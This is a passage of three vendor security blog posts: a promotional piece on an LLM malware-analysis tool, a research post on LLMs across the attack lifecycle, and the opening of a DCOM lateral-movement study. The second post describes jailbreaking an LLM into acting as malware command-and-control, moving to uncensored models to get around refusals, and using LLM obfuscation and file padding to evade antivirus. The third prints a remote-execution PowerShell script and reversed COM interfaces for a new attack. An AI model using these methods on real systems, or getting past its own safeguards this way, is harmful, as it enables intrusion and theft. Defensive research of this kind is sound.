A Platform for Innovation and Comparison: Amazon Bedrock has also served as a valuable platform for conducting LLM-related research and comparisons. The service's versatility has enabled us to experiment with different foundation models, exploring their strengths and weaknesses in various tasks, leading to significant advancements in DIANNA’s ability to understand and explain complex malware behaviors.

Alongside its core functionalities, Amazon Bedrock provides a range of ready-to-use features for customizing the solution. One such feature is model fine-tuning, which allows users to train foundation models on proprietary data to enhance their performance in specific domains. For example, organizations can fine-tune an LLM-based malware analysis tool to recognize industry-specific jargon or detect threats associated with particular vulnerabilities.

Another valuable feature is the utilization of Retrieval Augmented Generation (RAG) enabling access to, and incorporation of, relevant information from external sources, such as knowledge bases or threat intelligence feeds. This enhances the model’s ability to provide contextually accurate and informative responses, improving the overall effectiveness of malware analysis.

Seamless Integration, Scalability, and Customization: Integrating Amazon Bedrock into DIANNA’s architecture was a straightforward process. Bedrock’s user-friendly API and well-documented interfaces facilitated seamless integration with our existing infrastructure. Furthermore, the service’s on-demand nature allows us to scale our AI capabilities up or down based on customer demand. This flexibility ensures that DIANNA can handle fluctuating workloads without compromising performance.

Prioritizing Data Security and Compliance: Data security and compliance are paramount in the cybersecurity domain. Amazon Bedrock’s enterprise-grade security features provide us with the confidence to handle sensitive customer data. The service’s adherence to industry-leading security standards, coupled with AWS’s extensive experience in data protection, ensures that DIANNA meets the highest regulatory requirements such as GDPR. By leveraging Amazon Bedrock, we can offer our customers a solution that not only protects their assets, but also demonstrates our commitment to data privacy and security.

By combining Deep Instinct’s proprietary prevention algorithms with the advanced language processing capabilities of Amazon Bedrock, DIANNA offers a unique solution that not only identifies and analyzes threats with high accuracy but also communicates its findings in clear, actionable language. This synergy between Deep Instinct’s expertise in cybersecurity and Amazon’s leading AI infrastructure positions DIANNA at the forefront of AI-driven malware analysis and threat prevention.

The following diagram illustrates DIANNA’s architecture.

Evaluating DIANNA’s Malware Analysis

A key component of DIANNA’s success is testing its malware analysis capabilities and evaluating the results to ensure they remain at peak levels. In this test, the input is a malware sample, and the output is a comprehensive, in-depth report on the behaviors and intents of the file. However, generating ground-truth (GT) data is particularly challenging. The behaviors and intents of malicious files are not readily available in standard datasets and require expert malware analysts for accurate reporting. Thus, we needed a custom evaluation approach.

We focused our evaluation on two core dimensions:

• Technical features evaluation: This dimension focuses on objective, measurable capabilities. We used programmable metrics to assess how well DIANNA handled key technical aspects, such as extracting Indicators of Compromise (IOCs), detecting critical keywords, and processing the length and structure of threat reports. These metrics allowed us to quantitatively assess the model’s basic analysis capabilities.
• In-depth semantic evaluation: Since DIANNA is expected to generate complex, human-readable reports on malware behavior, we relied on domain experts (malware analysts) to assess the quality of the analysis. The reports were evaluated on:
  • Depth of information: Whether DIANNA provided a detailed understanding of the malware’s behavior and techniques.
  • Accuracy: How well the analysis aligned with the malware’s true behaviors.
  • Clarity and structure: Whether the report was organized in a clear and comprehensible manner for security teams.

Since human evaluation is labor-intensive, fine-tuning the key components (the model itself, the prompts, and the translation engines) required iterative feedback loops. Small adjustments in any component led to significant variations in the output, requiring repeated validations by human experts. The fine-tuning incorporated the following tasks and elements:

• Gathering a malware dataset: To cover the breadth of malware techniques, families, and threat types, we collected a large dataset of malware samples, each with technical metadata.
• Splitting the dataset: The data was split into subsets for training, validation, and evaluation. Validation data was continually used to test how well DIANNA adapted after each key component update.
• Human expert evaluation: Each time we fine-tuned DIANNA’s model, prompts, and translation mechanisms, human malware analysts reviewed a portion of the validation data. This ensured that any improvements or degradations in the quality of the reports were identified early. As DIANNA’s outputs are highly sensitive to even minor changes, each update required a full reevaluation by human experts to verify whether the response quality was improved or degraded.
• Final evaluation on a broader dataset: After sufficient tuning based on the validation data, we applied DIANNA to a large evaluation set. Here, we gathered comprehensive statistics on its performance to confirm improvements in report quality, correctness, and overall technical coverage.

Automation of Evaluation

To make this process more scalable and efficient, we introduced an automatic evaluation phase. We trained a language model specifically designed to critique DIANNA’s outputs, automating to some degree the assessment of how well DIANNA was generating reports. This critique model acted as an internal “oracle,” allowing for continuous, rapid feedback on incremental changes during fine-tuning. This enabled us to make small adjustments across DIANNA’s three core components (model, prompts, and translation engines) while receiving real-time evaluations of the impact of those changes.

The automated critique model enhanced our ability to test and refine DIANNA without having to rely solely on the time-consuming manual feedback loop from human experts. It provided a consistent, reliable measure of performance and allowed us to quickly identify which model adjustments led to meaningful improvements in DIANNA’s analysis.

Advanced Integration and Proactive Analysis

DIANNA is integrated with DSX to explain the zero-day threats that are detected and prevented. DSX’s proactive approach has extremely high accuracy and a low false positive rate, which, alongside explainability from DIANNA, helps security teams quickly identify unknown threats and allocate resources more effectively.

Additionally, DIANNA’s output streamlines investigations, minimizes cross-tool efforts, and automates repetitive tasks, making the decision-making process clearer and faster. Ultimately, organizations are able to strengthen their security posture and significantly reduce the mean time to triage.

Key Features and Benefits of DIANNA:

• Performs on-the-fly file scans, allowing for immediate assessment without any prior setup or delays.
• Generates comprehensive malware analysis reports for a variety of file types in just seconds, ensuring that users receive timely information about potential threats.
• Streamlines the entire file analysis process, making it more efficient and user-friendly, reducing the time and effort required for thorough evaluations.
• Supports a wide range of common file formats, including Office documents, Windows Executable files, script files, and Windows Shortcut files (.lnk), ensuring compatibility with various types of data.
• Offers in-depth contextual analysis, malicious file triage, and actionable insights, greatly enhancing the efficiency of investigations into potentially harmful files.
• Empowers SOC teams to make well-informed decisions without relying on manual malware analysis by providing clear and concise insights into the behavior of malicious files.
• Eliminates the need to upload files to external sandboxes or VirusTotal, enhancing security and privacy while facilitating quicker analysis.

Explainability and Insights for Better Decision-making for SOC Teams

DIANNA sets itself apart from traditional AI tools that use LLM engines by providing insights into why unknown attacks are deemed malicious. Explaining a zero-day attack typically involves a lengthy process that can take hours or even days, often resulting in an incomplete understanding. While this approach has its merits, it mainly offers retroactive analysis with limited context. In contrast, DIANNA goes further than simple code analysis; it understands the intent and potential actions behind the code and delivers clear explanations of its malicious nature and potential impacts on systems. This allows SOC teams to focus on alerts and threats that truly matter.

Example Scenario of DIANNA in Action

In this section, we explore some DIANNA use cases and examples.

For example DIANNA can perform standalone malware analysis on malicious files.

The following screenshot is an example of a Windows executable file analysis.

The following screenshot is an example of an Office file analysis.

You can also quickly triage incidents with enriched data on file analysis provided by DIANNA. The following screenshot is an example using Windows shortcut files (LNK) analysis.

The following screenshot is an example with a script file (JavaScript) analysis.

The following figure presents a before and after comparison of the analysis process.

A key advantage of DIANNA is its ability to provide explainability by connecting the dots and summarizing the intentions of malicious files in a detailed narrative. This is especially valuable for zero-day and unknown threats, where investigations start from scratch, without any clues.

Potential Advancements in AI-driven Cybersecurity

AI capabilities are enhancing daily operations, but adversaries are also using AI to create sophisticated attacks and advanced persistent threats (APTs). This leaves organizations, and particularly their SOC and cybersecurity teams, combatting more complex threats.

While detection controls are useful, they often require significant resources and can be ineffective on their own. In contrast, using AI engines for prevention controls, like a high-efficacy deep learning (DL) engine, can lower the total cost of ownership (TCO) and help SOC analysts streamline their tasks.

Conclusion

DSX predicts and prevents known, unknown, and zero-day threats in <20 milliseconds—750 times faster than the fastest ransomware encryption. This makes it essential for any security stack, offering comprehensive protection in hybrid environments.

“Time is money” holds true in the world of cybersecurity. DIANNA enhances the incident response process for SOC teams, allowing them to efficiently tackle and investigate zero-day attacks with minimal time investment. This, in turn, reduces the resources and expenses that CISOs need to allocate, enabling them to invest in more valuable initiatives.

The rise of AI-based threats is becoming more pronounced. As a result, defenders must outpace increasingly sophisticated attackers by moving beyond traditional AI tools that leverage ML and embrace advanced AI, especially deep learning. The entire cybersecurity ecosystem must consider this shift to effectively combat the growing prevalence of AI-driven cyberattacks and the future of cyber threats.

To try DSX with DIANNA, visit Deep Instinct in the AWS Marketplace.

While LLMs hold immense potential for improving cybersecurity through threat detection and analysis, their power can also be wielded for malicious purposes. Recent reports suggest that cybercriminals and nation-state actors are actively exploring LLMs for different tasks such as code generation, phishing emails, scripts, and more. We’ll elaborate on just a few examples in this blog.

The last times we saw such significant technological changes influencing everyday life were the four industrial revolutions (1765 – Oil, 1870 – Gas, 1969 – Electronics and Nuclear, and 2000 – Internet and Renewable Energy). Many believe that AI—and LLMs, which are part of AI—is the next industrial revolution, capable of reshaping industries, including crime, as new cyber threats emerge.

Cybersecurity is a very dynamic field, but there are still a few basic aspects that haven’t changed – one of which is the attack lifecycle. The cyber attack lifecycle, often referred to as the Cyber Kill Chain, includes the following stages: reconnaissance, weaponization, delivery, exploitation, installation, command and control (C2), and actions on objectives.

First, I’ll give a brief history of AI and then, using LLMs, I will provide a full attack lifecycle and demonstrate how threat actors could employ them, the risk they pose, and their potential future uses. LLM-based tools can play a significant role in various stages of the cyber attack lifecycle, including fully managing the final stage of the Payload and C2 – and that’s the most interesting part of this blog. The bottom line is that AI as a whole, and LLMs in particular, are very powerful and will get better with time. In the wrong hands, they will cause significant damage. The only way to fight the abuse of LLMs is with AI and advanced Deep Learning prevention alogorithms.

The Long Way to the Present Day LLM

Let's start with an introduction to AI and LLMs before they became mainstream. I started working with AI when I built my first Prolog app, which is a declarative programming language designed for developing logic-based AI applications.

Prolog is based on four main elements: Facts, Rules, Variables, and Queries. The original version is 52 years old and even the most current version is 24 years old. At the time of its creation there was not enough data for the facts, and the queries had to be pre-defined and barely customized during usage. Despite that, it was used for building chatbots like Zamia AI.

When we think about AI today, we envision complex systems and advanced chatbots like ChatGPT equipped with complicated infrastructure and powerful problem-solving skills. However, AI was not always so advanced. Early examples of AI often took the form of chatbots. They seem simple now, but they were groundbreaking innovations that ushered new concepts and tools into the world.

Let’s look at some of them:

Eliza (1966) - This first-ever chatbot was developed by MIT professor Joseph Weizenbaum in the 1960s. Eliza was programmed to act as a psychotherapist to users.

Parry (1972) - A natural language program that simulated the thinking of a paranoid individual. Parry was constructed by American psychiatrist Kenneth Colby in 1972.

ChatterBot (1988) - British programmer Rollo Carpenter created the Chatterbot in 1988. It evolved into Cleverbot in 1997. 

Fun fact– ChatterBot was active until 2023. Cleverbot is still operating and accessible today.

DR SBAITSO (1992) - This chatbot was created by Creative Labs for MS-DOS in 1992. It is one of the earliest chatbots to incorporate a full voice-operated chat program. You may try it out with an MS-DOS emulator.

 A.L.I.C.E. (1995) – A universal language processing chatbot that uses heuristic pattern matching to carry conversations. Richard Wallace pioneered the construction of ALICE in 1995.

The evolution of AI and its applications is ongoing. Despite the popularity AI now has, researchers have been studying and experimenting with it for decades. Natural Language Processing, Machine Learning, and Deep Learning technologies have all existed for years. And, as shown by the timeline above, assistant-like chatbots were already popular –  by combining the idea of an AI assistant with actual AI technology, chatbots with voice recognition burst onto the scene. Later, refining and evolving what we created, we developed the almighty LLMs:

Now that you have a better understanding of the timeline of AI, chatbots, and LLMs, let’s get into how the unique capabilities of LLMs can help facilitate a cyber attack.

Not all Chatbots are LLMs

LLM is an evolution of Natural Language Processing (NLP), but there are some key differences, as shown in the following graphic:

There are multiple capabilities unique to LLMs that enable the attack flow POC I’m about to describe.

Building an LLM Attack Lifecycle

Understanding the Attack Lifecycle

In order to begin, we have to understand why the attack lifecycle is the perfect methodology to prove that LLMs can perform a full multistage attack on their own. The term “Attack lifecycle” represents the stages in a cyber attack flow, also known as the Attack Kill Chain. These stages, when executed correctly, can lead to a successful attack. Therefore, there are multiple security products that are expected to stop the attack in each stage and kill the chain, disrupting the attack.

The Attack Lifecycle follows these steps:

• Recon: Gathering information about the target (e.g., network topology, employees, vulnerabilities) to identify weaknesses or valuable entry points.

• Weaponization: Creating a malicious payload (such as a virus, malware, or exploit) and preparing it to be delivered to the target system.

• Delivery: Transmitting the weaponized payload to the target, typically through methods like email attachments, malicious links, or infected websites.

• Exploitation: Triggering the payload to exploit a vulnerability in the target system (e.g., executing a malicious code or exploiting a software flaw).

• Installation: Installing the malware or exploit onto the target system, often establishing persistence so the attacker can maintain access over time.

• Command and Control (C2): Establishing a remote connection between the compromised system and the attacker’s infrastructure to control and issue commands to the infected system.

• Actions on Objective: Carrying out the attacker’s primary goals, such as stealing data, spreading malware, disrupting operations, or further exploiting the network.

Initial Reconnaissance

LLMs can automate the process of gathering information from publicly available sources such as social media and technical forums about target systems and individuals.

After choosing the victim or the sector, one of the most important stages begins: Initial Reconnaissance. This phase is where information gathering and identification of potential entry points happens.

Even though this stage is already fairly simple due to powerful search engines like Google and scanning services like Shodan and Censys, LLMs have made it even easier and faster.

For our POC, we’ll start by identifying a possible pool of initial vectors and their victims – a chatbot can help with that.

Censys, a well-known worldwide internet scanning platform, helps information security practitioners discover, monitor, and analyze devices. When integrated with an LLM chat it makes the search even easier and provides an actual pool of potential victims.

Additionally, there are tools made specifically for OSINT that can automate the reconnaissance and scanning process. In fact, there are several LLMs built and trained specifically for that purpose, such as PentestGPT (originally known as HackerGPT).

Using older, high-quality automation tools together with LLMs can provide great results. For example, the Mantis Automated Discovery, Recon, and Scan tool can assist with gathering information about the potential victims in a fast and automated way.

Weaponization

LLMs can also assist in creating malicious payloads by generating or modifying code snippets based on existing malware.

While there are many chatbots that claim they are designed to build malware, most are scams. 

“Jailbreaked bots” are prompt-engineered requests that may enable illegitimate requests for regular, mainstream chatbots. These are built specifically for each LLM (including ChatGPT, Llama, and Gemini). However, they are usually identified and fixed quickly, which means they don’t work well for most of the major LLM providers. There are also chatbots based on open-source LLMs where the restrictions can be turned off and malicious code can be generated or evolved more freely.

For example, when testing a few Python stealers, it seems that Stopwatch.ai does lower the detection rate drastically by changing class names and variables, which indicates that the detections were signature-based.

Stopwatch.ai is less effective with more complicated and longer code, due to the length restrictions.

PentestGPT does a great job obfuscating source code. To test it, I took a known Medusa payload from VirusTotal. The latest version I found already had 30 detections, mostly due to blacklisting or simple signatures, so I decided to compile one myself and got 12 detections, which is a nice rate of evasion abilities.

Using LLMs to obfuscate the source code before compiling reduced the detections from 12 to 3!

Delivery

LLMs can be used to create convincing spear-phishing emails, social media messages, or other forms of communication to deliver the payload, including visual and audio deepfakes. Additionally, they can quickly generate content for fake websites, documents, or ads that can be used to trick users into downloading malicious software by increasing the perception of legitimacy.

The well-known EvilGoPhish tool and its related Phishlets perform incredibly well, especially when paired with an LLM generating or rephrasing the phishlets. The emails and the “fake” pages look absolutely convincing – even to cybersecurity professionals trained to watch for these types of fakes.

The deepfakes themselves are also very convincing. Remember when a deepfaked conference cost a company more than $25M?

Audio deepfakes and voice cloning are also dangerous and widely available. There are multiple, easily accessible tools to clone voices, such as standalone sites and repos within Github. Let’s assume for the sake of this POC that our target has been hooked.

The Next Four Steps: Exploitation, Installation, Command and Control, and Actions on Objective

LLM-Guided Malware

As demonstrated above, LLMs have already significantly eased the first three steps of the attack lifecycle. Building malware using LLMs is already an obvious and well-known use case, and has been demonstrated multiple times. But what if I could evolve the LLM to be the attacker and operate a backdoor?

Usually there is an attacker sitting behind a C2 server, but not anymore. We are going to build an LLM-based malware with backdoor and stealing functionality, using the LLM as the C2. The idea is to trick the LLM into behaving as a threat actor by providing the attack path remotely, a kind of interactive backdoor/stealer managed by LLM. That way the attack can be much faster and both portions can execute simultaneously.

In order to test the theory, let’s start with building a simple, unstructured prompt to trick the LLM into being the attacker by convincing it that this is just a game.

LLM In the Role of C&C

Visualizing the flow:

Now we have to build a program to fill in as a proxy agent between the victim and the LLM instructions, in order to make it stealthier. It’s going to be a very tiny agent and I expect it to go undetected – but we will test it later on.

The POC for LLM-Guided Malware

The Recipe:

• Initiate session with LLM

• Send the initial prompt describing the task

• Add persistence

• Let the LLM guide the malware until all goals are achieved

  • Receive a command

  • Execute it

  • Send the result back to the LLM

Side Dishes for the POC:

• Add logging

• Implement communication with steganography

• Keep the API key safe

Like most of us would do, the first thing I did was ask the LLM to build that flow for me, but it wasn’t very successful: the output was bogged down with multiple bugs and cases of wrong logic. 

To compensate, I had to build the malware agent myself:

I would like to make the agent work on both Windows and Linux, so the execution of the LLM-received instructions has to be different:

I used a custom encryption-decryption mechanism to hide my API keys and prepare the shells for the execution of the commands by the operating system.

And the prompts, defined above as MESSAGE_LINUX and MESSAGE_WINDOWS, are both a bit different, defined as global variables:

I created a main loop to get instructions from the LLM -> Execute and return the response back to LLM:

Once in a while, when the LLM was asking to perform a command and it failed, the LLM sent back an explanation and instructions to fix the issue. While I was expecting command instructions only, I had to add the prompt: “Reply with the next command to achieve the goal. Without comments.” It helped. The full prompt is below:

As you may have noticed, the prompt is not built according to prompt engineering best practices, but it worked perfectly for me – you should try and improve on it.

Working!

Attacks on Objective

The LLM-guided stealer used mostly legitimate commands to stay undetected. Additionally, it skipped the world_domination and backups files – an expected behavior since we mainly asked for financial data.

The add-ons for steganography were pretty simple to implement using the stegano library of python, although many LLMs were already able to get pictures. They didn’t always work as expected, but could be fixed using my own unrestricted LLM server, which is described in the next section.

Make it Undetected

As mentioned at the beginning of this blog, LLMs can help obfuscate source code to evade detection, and that’s exactly what I used the LLM for. Then I went one step further by compiling the code and asking the LLM to artificially inflate the file with easy-to-compress junk data without affecting the logics of the executable. As an output, I received a self-unarchiving zip approximately 1MB in size, with an internal file of 700MB – all undetected!

The artificial inflation, also known as the PE padding technique, is often used by malware developers of well-known stealer strains like Emotet, Qbot, and others to stay above the maximum limit of file size that most AVs are able to scan without a drop in performance, while still being compressed to a small file for easy delivery. These are usually inflated with null bytes that are easy to compress.

Unrestricted LLMs

So far everything is working, but most available LLMs would not try to send commands downloading additional tools or escalating privileges. So I switched the communication for unrestricted local LLMs (such as HackerGPT or customized uncensored LLMs).

There are several optional unrestricted LLMs. I used the easy-to-deploy Ollama, which already has a nice database of LLMs for any purpose, including unrestricted LLMs. Setting up Ollama is done in three simple steps, but it may require a high-end GPU to run flawlessly.

1. Download and install Ollama:

curl -fsSL https://ollama.com/install.sh | sh 

2. Choose and pull the model:

ollama pull llama3.1-uncensored

3. Run the model:

ollama run llama3.1-uncensored

I tested several LLMs, and most of them were great, but I chose one designed specifically for offensive cybersecurity, WhiteRabbitNeo.

Below is a look at the API and chat generation of Ollama:

Finally, all I had to change in my POC were the following few lines:

The LLM-Based Attack Lifecycle

Now we can deploy and play the game via our LLM-based attack lifecycle, the steps of which are mentioned above.

Figure 46: Full flow agent idea demonstration

We’re almost done! Next, I wanted to see what my LLM-guided malware can do with unrestricted LLMs. What would happen if I left the agent to run for a bit while I had some coffee?

It tried to download and execute several tools but failed to do so since I tested the malware on an empty and new Linux VM. The agent tried to fix the errors by installing the missing common libraries.

Takeaways and Follow Ups

Today, LLMs are already capable of making attacks faster and much more frequent.

• We could add the following to the POC to make it even more effective:

  • Rewrite into a more efficient and less common language – Rust / GO

  • Build a packer for better and longer evasion

  • Try with local Tiny LLMs to work without the need of an external LLM server 

  • Make the agent perform the request for the malware to be generated and compiled on request during the initial LLM communication using a polymorphic algorithm

  • Hunt for LLM-based malware – which can be tricky (keep an eye out for another blog on this topic)

  • Research and move the idea into BLM (Behavior Large Models – often developed for future robots) – DO NOT TRY AT HOME

Underestimated research – Recently, Claude announced that their latest version of Claude 3.5 “Sonnet” will be able to follow user’s commands to move a cursor, click on relevant locations, and input information via a virtual keyboard to emulate the way people interact with their own computer. This capability is exactly what I was missing to make my LLM-guided malware even more efficient. Just after that, OpenAI announced “Operator” with similar abilities. Finally, information was leaked that Google’s Jarvis AI can use a computer to take actions on a person's behalf.

Conclusion

My view of how LLMs will affect cyber attacks has evolved throughout my research; the cyber threats posed by LLMs are not a revolution, but an evolution. There’s nothing new there, LLMs are just making cyber threats better, faster, and more accurate on a larger scale. As demonstrated in this blog, LLMs can be successfully integrated into every phase of the attack lifecycle with the guidance of an experienced driver. These abilities are likely to grow in autonomy as the underlying technology advances. 

Defending against this evolution requires a corresponding evolution in the prevention methods. In order to break down the attack, defenders are only required to break down two of the stages (on average). It can be done. But defenders need the right tools to do it.

We'll update this blog soon with video from the DeepSec Conference where this research was presented.

If you are a cybersecurity professional who wants to fight AI with the best AI, then request your free scan to see the power of cybersecurity’s only deep learning framework for yourself.

References

https://github.com/MythicAgents/Medusastopwatch.io

https://github.com/GreyDGL/PentestGPTCensys.com

ChatGPT.com

Gemini.com

https://github.com/PhonePe/mantis

https://github.com/fin3ss3g0d/evilgophish

https://github.com/kingridda/voice-cloning-AI

https://github.com/nomic-ai/gpt4all

https://github.com/kgretzky/evilginx3

huggingface.com

Ollama.com

WhiteRabbitNeo.com

https://github.com/jasonacox/TinyLLM

https://github.com/katanaml/sparrow

This blog post presents a powerful new DCOM lateral movement attack that allows the writing of custom DLLs to a target machine, loading them to a service, and executing their functionality with arbitrary parameters. This backdoor-like attack abuses the IMsiServer COM interface by reversing its internals. This process is described step-by-step in this blog. The research also includes a working POC tool to demonstrate the attack on the latest Windows builds. 

Terminology 

COM & DCOM

The Component Object Model (COM) is a Microsoft standard for creating binary software components that can interact. DCOM (Distributed COM) Remote Protocol extends the COM standard over a network using RPC by providing facilities for creating, activating, and managing objects found on a remote computer. 

Objects, Classes & Interfaces

In COM, an object is an instance of compiled code that provides some service to the rest of the system. A COM object's functionality depends on the interfaces its COM class implements. 

The compiled code is defined as a COM class, which is identified by a globally unique Class ID (CLSID) that associates a class with its deployment in the file system, either DLL or EXE. 

COM classes that can be remotely accessed (with DCOM) are identified with another globally unique identifier (GUID) - AppID. 

A COM interface can be regarded as an abstract class. It specifies a contract that contains a set of methods that implementing classes must serve. All communication among COM components occurs through interfaces, and all services offered by a component are exposed through its interfaces, which can be represented with a globally unique Interface ID (IID). A COM class can implement several COM interfaces, and interfaces can be inherited from other interfaces. 

COM Interface As a C++ Class

The C++ implementation of interfaces is done with classes. A C++ class is implemented as a struct, with its first member pointing to an array of member functions the class supports. This array is called a virtual table, or vtable for short. 

DCOM Research History

Lateral movement through DCOM is a well-known “thing” in cybersecurity, dating back to 2017 when Matt Nelson revealed the first abuse of MMC20.Application::ExecuteShellCommand to run commands on remote systems. Using the research process Matt designed, researchers found more DCOM objects that expose an execution primitive on remote machines, among them: 

• ShellBrowserWindow revealing ShellExecuteW, Navigate, and Navigate2 

• Excel.Application revealing ExecuteExcel4Macro, RegisterXLL 

• Outlook.Application revealing CreateObject 

The same research process was even automated, and it seemed like most of the DCOM attack surface was getting mapped thanks to it – as fewer attacks were revealed over time. In this blog post, I explain how I put the research process to the test to find a new DCOM lateral movement attack.

The Known Method to Research DCOM

Looking for a new DCOM lateral movement method follows the following steps: 

• Search AppIDs on the machine for entries that have default launch and access permissions 

  • James Forshaw’s OleView .NET tool correlates this data and other useful information 

• AppIDs found with the prior criteria represent DCOM objects that are remotely accessible for users with a local admin privilege 

• Explore suspected objects, traditionally with PowerShell, which gives easy access to object creation, displaying interface methods & properties, and invoking them 

• Repeat the prior step until a method that can run custom code has been located 

Here I am applying those steps to implement the known MMC20.Application::ExecuteShellCommand lateral movement attack: 

• The AppID 7E0423CD-1119-0928-900C-E6D4A52A0715, which hosts the MMC20.Application class, has default permissions 

• The AppID mentioned above maps to the CLSID 49B2791A-B1AE-4C90-9B8E-E860BA07F889 

• Exploring the object created from said CLSID in PowerShell: 

PS C:\> $com = [Type]::GetTypeFromCLSID("49B2791A-B1AE-4C90-9B8E-E860BA07F889")

PS C:\> $mmcApp = [System.Activator]::CreateInstance($com)

PS C:\> Get-Member -InputObject $mmcApp

TypeName: System.__ComObject#{a3afb9cc-b653-4741-86ab-f0470ec1384c}

• Repeating the queries on discovered properties reveals the method ExecuteShellCommand which allows RCE 

 PS C:\> Get-Member -InputObject $mmcApp.Document.ActiveView

TypeName: System.__ComObject#{6efc2da2-b38c-457e-9abb-ed2d189b8c38}

• Finally, we create a DCOM session and invoke the method we found to complete the attack. 

<# MMCExec.ps1 #>

$com = [Type]::GetTypeFromCLSID("49B2791A-B1AE-4C90-9B8E-E860BA07F889", "TARGET.I.P.ADDR")

$mmcApp = [System.Activator]::CreateInstance($com)

$mmcApp.Document.ActiveView.ExecuteShellCommand("file.exe", "/c commandline", "c:\file\folder",$null, 0)

The Query for a New Attack

Using this recipe, I started searching for a new DCOM lateral movement attack. Here are my findings: 

• AppID 000C101C-0000-0000-C000-000000000046 has default permissions, OleView .NET reveals the following details: 

• Hosted on the Windows Installer service (msiexec.exe) 

• Hosts a COM object named “Msi install server“ with a CLSID equal to the AppID 

• The object exposes an interface named IMsiServer, with an IID equal to the AppID 

• The class and interface are implemented in msi.dll (pointed from ProxyStubClsid32 registry key) 

• The name of the object and its location within the installer service piqued my interest, so I continued to query its methods with PowerShell: 

PS C:\> $com = [Type]::GetTypeFromCLSID("000C101C-0000-0000-C000-000000000046")

PS C:\> $obj = [System.Activator]::CreateInstance($com)

PS C:\> Get-Member -InputObject $obj

TypeName: System.__ComObject

The results describe generic .NET object methods, and the “TypeName” field does not point to the IMsiServer IID. This means the PowerShell runtime failed to query information on the IMsiServer object; we can't search for an attack this way. 

The difference between the successful example of our MMC20.Application and our current IMsiServer is the IDispatch interface, which the former implements and the latter does not.  

IDispatch

IDispatch is a fundamental COM interface, that allows scripting languages (VB, PowerShell) and higher-level languages (.NET) to interact with COM objects that implement it without prior knowledge. It achieves this by exposing unified methods that describe and interact with the implementing object. Among those methods are: 

• IDispatch::GetIDsOfNames maps names of methods or properties to an integer value named DISPID. 

• IDispatch::Invoke calls one of the object's methods according to a DISPID. 

All of the known DCOM lateral movement attacks are built on documented IDispatch-based interfaces, allowing easy interaction through PowerShell. The ease of interacting with IDispatch interfaces blinded the security community to a large portion of possible attacks. 

To solve this issue and further our research with IMsiServer, which lacks documentation and does not support IDispatch, we need to design an alternative approach that does not depend on PowerShell. 

Reversing Interface Definitions

To learn more about IMsiServer, we must inspect the DLL containing the interface definition - msi.dll: 

• Using IDA and searching msi.dll for the hex bytes representing the IID of IMsiServer - 1C 10 0C 00 00 00 00 00 C0 00 00 00 00 00 00 46 we find a symbol named IID_IMsiServer. 

• Cross referencing IID_IMsiServer, we find CMsiServerProxy::QueryInterface, which is a part of the client’s implementation for the IMsiServer interface. 

• Cross referencing CMsiServerProxy::QueryInterface reveals the interface’s vtable in the .rdata section: 

With this data and some extra definitions, I recreated the IMsiServer Interface: 

struct IMsiServer : IUnknown

{

    virtual iesEnum InstallFinalize( iesEnum iesState,  void* riMessage,  boolean fUserChangedDuringInstall) = 0;

    virtual IMsiRecord* SetLastUsedSource( const ICHAR* szProductCode,  const wchar_t* szPath, boolean fAddToList,  boolean fPatch) = 0;

    virtual boolean Reboot() = 0;

    virtual int DoInstall( ireEnum ireProductCode,  const ICHAR* szProduct,  const ICHAR* szAction,const ICHAR* szCommandLine,  const ICHAR* szLogFile,int iLogMode,  boolean fFlushEachLine,  IMsiMessage* riMessage,  iioEnum iioOptions , ULONG, HWND__*, IMsiRecord& ) = 0;

    virtual HRESULT IsServiceInstalling() = 0;

    virtual IMsiRecord* RegisterUser( const ICHAR* szProductCode,  const ICHAR* szUserName,const ICHAR* szCompany,  const ICHAR* szProductID) = 0;

    virtual IMsiRecord* RemoveRunOnceEntry( const ICHAR* szEntry) = 0;

    virtual boolean CleanupTempPackages( IMsiMessage& riMessage, bool flag) = 0;

    virtual HRESULT SourceListClearByType(const ICHAR* szProductCode, const ICHAR*, isrcEnum isrcType) = 0;

    virtual HRESULT SourceListAddSource( const ICHAR* szProductCode,  const ICHAR* szUserName,  isrcEnum isrcType,const ICHAR* szSource) = 0 ;

    virtual HRESULT SourceListClearLastUsed( const ICHAR* szProductCode,  const ICHAR* szUserName) = 0;

    virtual HRESULT RegisterCustomActionServer( icacCustomActionContext* picacContext,  const unsigned char* rgchCookie,  const int cbCookie, IMsiCustomAction* piCustomAction,  unsigned long* dwProcessId,  IMsiRemoteAPI** piRemoteAPI,  DWORD* dwPrivileges) = 0;

    virtual HRESULT CreateCustomActionServer( const icacCustomActionContext icacContext,  const unsigned long dwProcessId,  IMsiRemoteAPI* piRemoteAPI,const WCHAR* pvEnvironment,  DWORD cchEnvironment,  DWORD dwPrivileges,  char* rgchCookie,  int* cbCookie,  IMsiCustomAction** piCustomAction,  unsigned long* dwServerProcessId,DWORD64 unused1, DWORD64 unused2) = 0;

 [snip]

}

Remote Installations?

The DoInstall function immediately stands out as a promising candidate to perform lateral movement – installing an MSI on a remote machine. However, an inspection of its server-side implementation at CMsiConfigurationManager::DoInstall shows it isn’t possible remotely: 

// Simplified pseudo code

CMsiConfigurationManager::DoInstall([snip])

{

 [snip]

  if (!OpenMutexW(SYNCHRONIZE, 0, L"Global\\_MSIExecute"))

   return ERROR_INSTALL_FAILURE;

 [snip]

}

This code means when invoking a DCOM call for IMsiServer::DoInstall, the remote server will check the existence of a mutex named Global\\_MSIExecute. This mutex is not open by default, thus the call will fail.  

Msi.dll creates this mutex from functions inaccessible to our IMsiServer interface, so we must find a different function to abuse IMsiServer. 

Remote Custom Actions

My second candidate for abuse is: 

HRESULT IMsiServer::CreateCustomActionServer(

    const icacCustomActionContext icacContext,

    const unsigned long dwProcessId,

    IMsiRemoteAPI* piRemoteAPI,

    const WCHAR* pvEnvironment, 

    DWORD cchEnvironment, 

    DWORD dwPrivileges, 

    char* rgchCookie, 

    int* cbCookie, 

    IMsiCustomAction** piCustomAction, 

    unsigned long* dwServerProcessId,

    bool unkFalse);

It creates the output COM object- IMsiCustomAction** piCustomAction, which, according to its name, can invoke a “custom action” on my remote target. 

Reversing the server-side code in CMsiConfigurationManager::CreateCustomActionServer we learn it impersonates the DCOM client and creates a child MSIEXEC.exe with its identity, which hosts the result IMsiCustomAction** piCustomAction 

Searching msi.dll for symbols on IMsiCustomAction reveals its IID: 

Using the symbol to perform the same cross-reference we did to discover IMsiServer, we can recreate IMsiCustomAction’s interface definition: 

IID IID_IMsiCustomAction = { 0x000c1025,0x0000,0x0000,{0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46} };

// Interface is trimmed for simplicty

struct IMsiCustomAction : IUnknown

{

